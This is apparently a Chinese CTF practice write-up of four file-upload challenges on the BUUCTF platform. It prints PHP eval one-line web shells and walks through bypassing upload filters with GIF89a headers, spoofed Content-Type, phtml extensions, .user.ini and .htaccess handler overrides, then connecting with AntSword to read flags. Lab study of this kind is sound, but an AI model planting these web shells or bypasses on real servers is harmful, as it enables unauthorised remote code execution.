buu刷题笔记之文件上传
[极客大挑战 2019]Upload
判断文件头内容是否符合要求,这里举几个常见的文件头对应关系:
(1) .JPEG;.JPE;.JPG,”JPGGraphic File”
(2) .gif,”GIF 89A”
(3) .zip,”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
打开环境,看到是一个上传图片的界面,先上传一个没有任何绕过的php马。

提示说不是图片,需要抓包改文件格式。将Content-Type里面的格式改为image/jpeg
提示后缀违规:尝试常见绕过后缀,发现phtml可以,改为phtml后提示一句话中带<?都不行,故切换一句话木马:
<script language="php">@eval($_POST['passwd'])</script>
上传抓包:
1:绕过文件头检验GIF89a?
2:绕过<?检验<script language="php">eval($_REQUEST[‘jazz’])</script>
3:绕过文件类型检验Content-Type: image/jpeg application/zip



然后用蚁剑连接

根目录下发现flag
[ACTF2020 新生赛]Upload
打开页面,上传裸马发现前端验证后缀:

选择绕过前端验证思路:F12删除js中的对应检测代码(如事件)
尝试用不同后缀上传,发现phtml可以

然后用蚁剑连接,在根目录下得到flag。
[SUCTF 2019]CheckIn
首先上传一个裸马测试拦截规则。

提示非法后缀,那改成phtml等也提示非法后缀,看来后缀这里类似白名单处理了
单从后缀角度,尝试jpg(图片马):

提示说明不但检测了后缀,还检测了文件内容,发现含有<?检测
尝试构造一个,js写入php的图片马:


提示使用了exif_imagetype函数,exif_imagetype()读取一个图像的第一个字节并检查其签名(就是内容头检测)
老规矩:加上GIF89a


上传成功,并且返回了上传路径。但问题是后缀只能是jpg,改不了php,怎么用php解析?所以考虑文件包含,除了平时多说的.htaccess绕过,还有一个可使用范围更广的.user.ini
.user.ini你改过以后,可以让你用目录里存在的正常php文件,包含任何格式的文件,去用php解析。那么很好办了,先上传ini文件,但你不要忽略也是需要文件内容头绕过:

然后抓紧时间上传shell.jpg ( 内容头绕过+js写马+图片马jpg后缀的shell.jpg)

得到链接:
http://8833e473-f17a-4b0c-8f72-d9bf18b38183.node4.buuoj.cn:81/uploads/1b1080d7356fc684d087821e176b4a50/index.php
蚁剑连,根目录flag


[MRCTF2020]你传你马呢?
打开靶场是上传,先上传裸马,被拦截.尝试MIME绕过:文件后缀改为jpg,Concent-type字段改为:image/jpeg

但无法按照php解析?尝试使用配置文件绕过:.htaccess文件绕过
编写一个txt内容为:SetHandler application/x-httpd-php后保存,更名为.htaccess上传至靶场,同时更改类型为image/jpeg
回显显示成功上传

之后用蚁剑连接上传好的jpg马子,就ok了


浙公网安备 33010602011771号